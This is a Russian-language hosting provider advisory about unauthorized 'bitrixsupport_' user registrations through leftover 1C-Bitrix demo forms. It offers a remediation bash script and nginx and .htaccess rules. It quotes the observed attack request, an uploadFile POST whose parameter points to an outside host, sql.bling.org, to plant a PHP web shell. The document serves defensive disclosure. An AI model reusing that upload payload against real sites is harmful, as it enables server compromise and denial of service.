Тариф успешно добавлен в корзину
В корзину

Участились попытки несанкционнированных регистраций пользователей 1С-Битрикс: проверьте корректность настроек

Уязвимости декабрь 2025

За последнюю неделю наша техническая поддержка фиксирует участившиеся попытки несанкционированно регистрировать новых пользователей через демо-компоненты 1С-Битрикс. 

Что такое «демо-компоненты». Это тестовый набор информации (пользователи, товары, статьи), который система устанавливает «из коробки», чтобы сразу показать свои возможности. Вендор требует удалять все установочные и демо-компоненты при запуске реального сайта.

Впервые о проблеме заговорили более двух лет назад. Некорректная настройка системы позволяет злоумышленнику зарегистрироваться на сайте под видом обычного пользователя, даже если администратор полностью отключил публичную регистрацию в настройках. Это происходит из-за неудаленной демо-формы с возможностью самостоятельной регистрации пользователя.

Если в вашей админ-панели постоянно добавляются пользователи с логином bitrixsupport_, возможно, ваш проект настроен неправильно.

Как это работает

Злоумышленник через незакрытую администратором системы возможность самостоятельной регистрации создает новых «технических» пользователей с префиксом bitrixsupport_. А затем использует их для создания избыточной нагрузки. Проблема временно устраняется только после полной перезагрузки сервера или веб-сервера.

После успешной регистрации пользователи bitrixsupport_ выполняют запросы вида:

POST /bitrix/tools/landing/ajax.php?action=Site::uploadFile

с нагрузкой 

data[picture]=http://sql.bling.org/bx/<ваш_домен>.<ru>_xx/.description.php

в попытке загрузить php-шелл на сервер.

Возможно, на некоторых серверах это проходит успешно, нам же попадались только случаи, где такой запрос провоцировал DOS, но это не приводило к загрузке веб-шелла.

Попытка выполнения запроса от пользователя без регистрации приводит к ошибке «Недостаточно прав», и такое соединение сразу же закрывается в отличие от запросов пользователей bitrixsupport_.

DOS-атака может задевать apache веб-сервер, тогда сайт начинает отдавать 504 ошибку (Gateway Timeout) или MySQL начинает отдавать ошибку Error 1040: Too Many Connections.

Что нужно сделать

  1. Удалите ненужных пользователей с префиксом bitrixsupport_.

Запомните: «1С-Битрикс» никогда не создает на ваших сайтах или в Битрикс24 неизвестные учётные записи. Такие аккаунты могут появиться только по вашей инициативе или в результате действий злоумышленника. 

Как удалить. Перейдите в административную панель 1С-Битрикс по адресу:

/bitrix/admin/user_admin.php

Найдите и удалите всех пользователей с префиксом bitrixsupport_ — это не системные аккаунты, они не нужны и небезопасны.

  1. Обновите 1С-Битрикс до последней версии.
  2. Выполните перезапуск сервера или веб-сервера Apache/Nginx, чтобы очистить соединения и завершить сессии.
  3. Для дополнительной безопасности ограничьте доступ к формам регистрации.

Для автоматизации администратор может использовать скрипт, который сделает всё автоматически. 

Забрать скрипт
#!/bin/bash

# Bitrix Reg Security Fix v.0.0.3 beta - защита от уязвимости регистрации
# 1. .htaccess - блокирует регистрацию пользовталей в ядре 1С Битрикс через демо-скрипты Bitrix
# 2. MySQL - удаляет пользователей bitrixsupport_* с подтверждением
# 3. nginx - блокирует все ?register=yes запросы с подтверждением
#            может сломать некоторые скрипты на сайте
#            перед использованием нужно проконсультироваться с разработчиком
#
# Автоматически определяет Bitrix Env, Docker, ISP Manager, проверяет nginx синтаксис до и после правок
# Применение скрипта на свой страх и риск
#
# Дебаг
# set -x -v

red="$(tput setaf 1)$(tput bold)"
green="$(tput setaf 2)$(tput bold)"
reset="$(tput sgr0)"

# show script version
self_current_version="Bitrix Reg Security Fix v.0.0.3 beta"
printf "\n${green}$self_current_version\n${reset}"

bitrix_fix_reg_paths () {
    echo
    if ! command -v nginx &> /dev/null; then
        echo "${red}ERROR.${reset} Nginx was not found"
        return 1
    fi

    echo "${green}Checking nginx paths${reset}" && echo

    htaccess_directives=("Order allow,deny" "Deny from all")
    
    # Define relative paths to check/create .htaccess files
    rel_paths=(bitrix/wizards/bitrix/demo/public_files/ru/auth/.htaccess \
               bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/custom-registration/.htaccess \
               bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/my-components/.htaccess \
               bitrix/wizards/bitrix/demo/modules/subscribe/public/personal/subscribe/.htaccess \
               install/wizards/bitrix/infoportal/site/public/ru/personal/profile/.htaccess \
               install/wizards/bitrix/infoportal/site/public/ru/board/my/.htaccess)
    
    # Find all nginx root directives (standard root)
    mapfile -t roots < <(grep -RhoP '^\s*root\s+"?\K[^";]+' /etc/nginx | tr -d '"' | sort -u)
    
    # Find all nginx root_path directives (set $root_path)
    mapfile -t root_paths < <(grep -RiIn "root_path " /etc/nginx | grep -oP 'set \$\w+\s+\K[^;]+' | tr -d ';' | tr -d '"' | sort -u)
    
    # Combine both types of paths
    all_paths=("${roots[@]}" "${root_paths[@]}")
    
    # Remove duplicates while preserving order
    declare -A seen
    unique_paths=()
    for path in "${all_paths[@]}"; do
        if [[ ! "${seen[$path]}" ]]; then
            seen["$path"]=1
            unique_paths+=("$path")
        fi
    done
    
    targets=()
    
    for root in "${unique_paths[@]}"
    do
        # Clean up path (remove trailing spaces/special characters)
        root=$(echo "$root" | xargs)
        
        for rel in "${rel_paths[@]}"
        do
            f="$root/$rel"
            d="$(dirname "$f")"
            
            # Check if directory exists
            if [ -d "$d" ]; then
                if [ -f "$f" ]; then
                    all_directives_exist=true
                    for directive in "${htaccess_directives[@]}"; do
                        if ! grep -q "^[[:space:]]*$directive" "$f"; then
                            all_directives_exist=false
                            break
                        fi
                    done
                    
                    if [ "$all_directives_exist" = false ]; then
                        printf '[DRY-RUN] would update: %s %s(file exists and will be updated)%s\n' "$f" "$green" "$reset"
                        targets+=("$f")
                    fi
                else
                    printf '[DRY-RUN] would create: %s %s(not exist, will be created)%s\n' "$f" "$green" "$reset"
                    targets+=("$f")
                fi
            fi
        done
    done
    
    [ "${#targets[@]}" -ne 0 ] && {
        printf '\nApply changes? [Y/n]: '
        read -r ans
        case "${ans:-Y}" in
            Y | y)
                for f in "${targets[@]}"
                do
                    if [ -f "$f" ]; then
                        temp_file="$(mktemp)"
                        printf "Order allow,deny\nDeny from all\n\n" > "$temp_file"
                        \cat "$f" >> "$temp_file"
                        temp_result="$(mktemp)"
                        \head -n 2 "$temp_file" > "$temp_result"
                        \tail -n +3 "$temp_file" | \
                        \grep -v "^[[:space:]]*Order allow,deny$" | \
                        \grep -v "^[[:space:]]*Deny from all$" >> "$temp_result"
                        \mv -f "$temp_result" "$f"
                        \rm -f "$temp_file"
                        printf '[OK] updated: %s\n' "$f"
                    else
                        mkdir -p "$(dirname "$f")"
                        printf "Order allow,deny\nDeny from all\n\n" > "$f"
                        printf '[OK] created: %s\n' "$f"
                    fi
                done
            ;;
            *)
                printf 'Aborted\n'
            ;;
        esac
    } || printf "${green}No Bitrix paths found in nginx that need updating${reset}\n"
}

mysql_all_db_del_bitrixsupport () {
	echo

	found_any=0
	mysql_accessible=0

	check_mysql_connection() {
		local container_id="$1"
		if [[ -n "$container_id" ]]; then
			docker exec "$container_id" mysql -e "SELECT 1;" &>/dev/null
		else
			mysql -e "SELECT 1;" &>/dev/null
		fi
	}

	process_deletion_confirm() {
		local db="$1"
		local container_id="$2"
		local container_image="$3"

		echo -e "${red}Found bitrixsupport_% users${reset}\nDatabase: $db\nContainer: ${container_image:-local} (${container_id:-host})"

		if [[ -n "$container_id" ]]; then
			docker exec "$container_id" mysql -e \
			"USE $db; SELECT ID,LOGIN,DATE_REGISTER FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null
		else
			mysql -e \
			"USE $db; SELECT ID,LOGIN,DATE_REGISTER FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null
		fi

		echo
		read -r -p "Delete these users from $db? [Y/n] " yn </dev/tty
		yn=${yn:-Y}

		if [[ "$yn" =~ ^[Yy]$ ]]; then
			if [[ -n "$container_id" ]]; then
				docker exec "$container_id" mysql -e \
				"USE $db; DELETE FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null
			else
				mysql -e \
				"USE $db; DELETE FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null
			fi

			if [[ -n "$container_id" ]]; then
				remaining=$(docker exec "$container_id" mysql -e \
				"USE $db; SELECT COUNT(*) FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null)
			else
				remaining=$(mysql -e \
				"USE $db; SELECT COUNT(*) FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null)
			fi

			if [[ "$remaining" -eq 0 ]]; then
				echo -e "${green}No remaining bitrixsupport_% users in $db${reset}"
			else
				echo -e "${red}Users still exist in $db${reset}"
			fi
		else
			echo "Skipping deletion for $db"
		fi
	}

	# Docker MySQL
	if command -v docker &>/dev/null; then
		while read -r id image; do
			echo "$image" | grep -qiE 'percona|mysql|mariadb' || continue

			check_mysql_connection "$id" || {
				echo "${red}ERROR.${reset} Cannot connect to MySQL in container $image ($id)"
				continue
			}

			mysql_accessible=1

			dbs=$(docker exec "$id" mysql -N -e "SHOW DATABASES" 2>/dev/null | \
			      grep -Ev '^(information_schema|performance_schema|mysql|sys)')

			while read -r db; do
				[[ -z "$db" ]] && continue

				docker exec "$id" mysql -N -e \
				"USE $db; SHOW TABLES LIKE 'b_user';" 2>/dev/null | grep -q b_user || continue

				users=$(docker exec "$id" mysql -N -e \
				"USE $db; SELECT COUNT(*) FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null)

				if [[ "$users" -gt 0 ]]; then
					found_any=1
					process_deletion_confirm "$db" "$id" "$image"
				fi
			done <<< "$dbs"
		done < <(docker ps --format '{{.ID}} {{.Image}}')
	fi

	# Local MySQL
	if command -v mysql &>/dev/null; then
		check_mysql_connection "" || {
			echo "${red}ERROR.${reset} Cannot connect to local MySQL"
			return
		}

		mysql_accessible=1
		dbs=$(mysql -N -e "SHOW DATABASES" 2>/dev/null | \
		      grep -Ev '^(information_schema|performance_schema|mysql|sys)')

		while read -r db; do
			[[ -z "$db" ]] && continue

			mysql -N -e "USE $db; SHOW TABLES LIKE 'b_user';" 2>/dev/null | grep -q b_user || continue

			users=$(mysql -N -e \
			"USE $db; SELECT COUNT(*) FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null)

			if [[ "$users" -gt 0 ]]; then
				found_any=1
				process_deletion_confirm "$db" "" ""
			fi
		done <<< "$dbs"
	fi

	[[ $found_any -eq 0 && $mysql_accessible -eq 1 ]] && \
	echo -e "${green}Users like bitrixsupport_% were not found in any MySQL DBs${reset}"
}

block_all_register_in_nginx () {
    echo
    CONF_FILE="/etc/nginx/bx/conf/bitrix.conf"
    DENY_CODE='# Deny 1C site user registration \nif ($arg_register = "yes") {\n  return 403;\n}\n'
    MGR_BIN="/usr/local/mgr5/sbin/mgrctl"
    
    function check_nginx ()
    {
        nginx -t &> /dev/null
    }
    
    function apply_fix ()
    {
        local target_file="$1" config_type="$2"
        
        # Check if fix already applied
        grep -Eq '^[[:space:]]*if[[:space:]]*\(\$arg_register[[:space:]]*=[[:space:]]*"yes"\)' "$target_file" 2> /dev/null && {
            echo "${green}\"?register=yes\" URL arguments already blocked in $target_file${reset}"
            return 0
        }
        
        echo "${red}DANGEROUS. Check with the developer first${reset}"
        read -rp "Block all \"?register=yes\" URL arguments globally in nginx? [y/N]: " answer
        answer=${answer:-N}
        [[ ! "$answer" =~ ^[Yy]$ ]] && return 1
        
        if [[ "$config_type" == "direct" ]]
        then
            # Direct modification of nginx config
            check_nginx || {
                echo "${red}nginx -t failed before fix${reset}"
                return 1
            }
            \cp -f "$target_file" "$target_file.bak"
            echo -e "$DENY_CODE" > "$target_file.tmp"
            cat "$target_file.bak" >> "$target_file.tmp"
            \mv -f "$target_file.tmp" "$target_file"
        else
            # Create include file for ISP Manager
            echo -e "$DENY_CODE" > "$target_file"
        fi
        
        if check_nginx && systemctl restart nginx
        then
            echo -e "${green}All \"?register=yes\" URL arguments successfully blocked in $target_file${reset}\nNginx restarted successfully"
            [[ "$config_type" == "direct" ]] && \rm -f "$target_file.bak"
            return 0
        else
            echo "${red}nginx -t failed after fix${reset}"
            [[ "$config_type" == "direct" ]] && \mv -f "$target_file.bak" "$target_file" || \rm -f "$target_file"
            check_nginx && echo "${green}Reverting success. No changes was made.${reset}" || \
                echo "${red}Nginx configtest error. Check nginx -t manually.${reset}"
            return 1
        fi
    }
    
    # Main logic: apply fix based on environment
    if [[ -f "$CONF_FILE" ]]
    then
        apply_fix "$CONF_FILE" "direct"
    else
        if [[ -x "$MGR_BIN" ]]
        then
            apply_fix "/etc/nginx/vhosts-includes/bitrix_reg_global_deny.conf" "include"
        else
            echo "${red}No /etc/nginx/bx/conf/bitrix.conf or ISP Manager were found. Cannot apply fix.${reset}"
            return 1
        fi
    fi
}

# Execute all three security fixes
bitrix_fix_reg_paths
mysql_all_db_del_bitrixsupport
block_all_register_in_nginx

Как ограничить регистрацию на демо-страницах

Если регистрация пользователей на сайте не требуется, добавьте следующий блок в начало файла /etc/nginx/bx/conf/bitrix.conf:

#Deny 1C site user registration
if ($arg_register = "yes") {
    return 403;
}

Если регистрация в целом нужна, но нужно закрыть устаревшие формы:

  1. Добавьте файлы .htaccess со следующим содержимым:

    Order allow,deny
    Deny from all
  2. Добавьте их в директории (только если они существуют):
bitrix/wizards/bitrix/demo/public_files/ru/auth/.htaccess
bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/custom-registration/.htaccess
bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/my-components/.htaccess
bitrix/wizards/bitrix/demo/modules/subscribe/public/personal/subscribe/.htaccess
install/wizards/bitrix/infoportal/site/public/ru/personal/profile/.htaccess
install/wizards/bitrix/infoportal/site/public/ru/board/my/.htaccess

Рекомендуем проверить ваш проект как можно скорее. Если потребуется помощь — вы всегда можете обратиться в нашу службу поддержки из Личного кабинета.

Возможно, вам будет интересно

Назад к списку
Скидка новым клиентам
Закажите сервер сегодня и получите скидку на первый месяц аренды!
Наш сайт использует cookies Вы можете отключить их в настройках браузера, но это может ограничить функционал. Оставаясь на сайте, вы соглашаетесь с использованием cookies.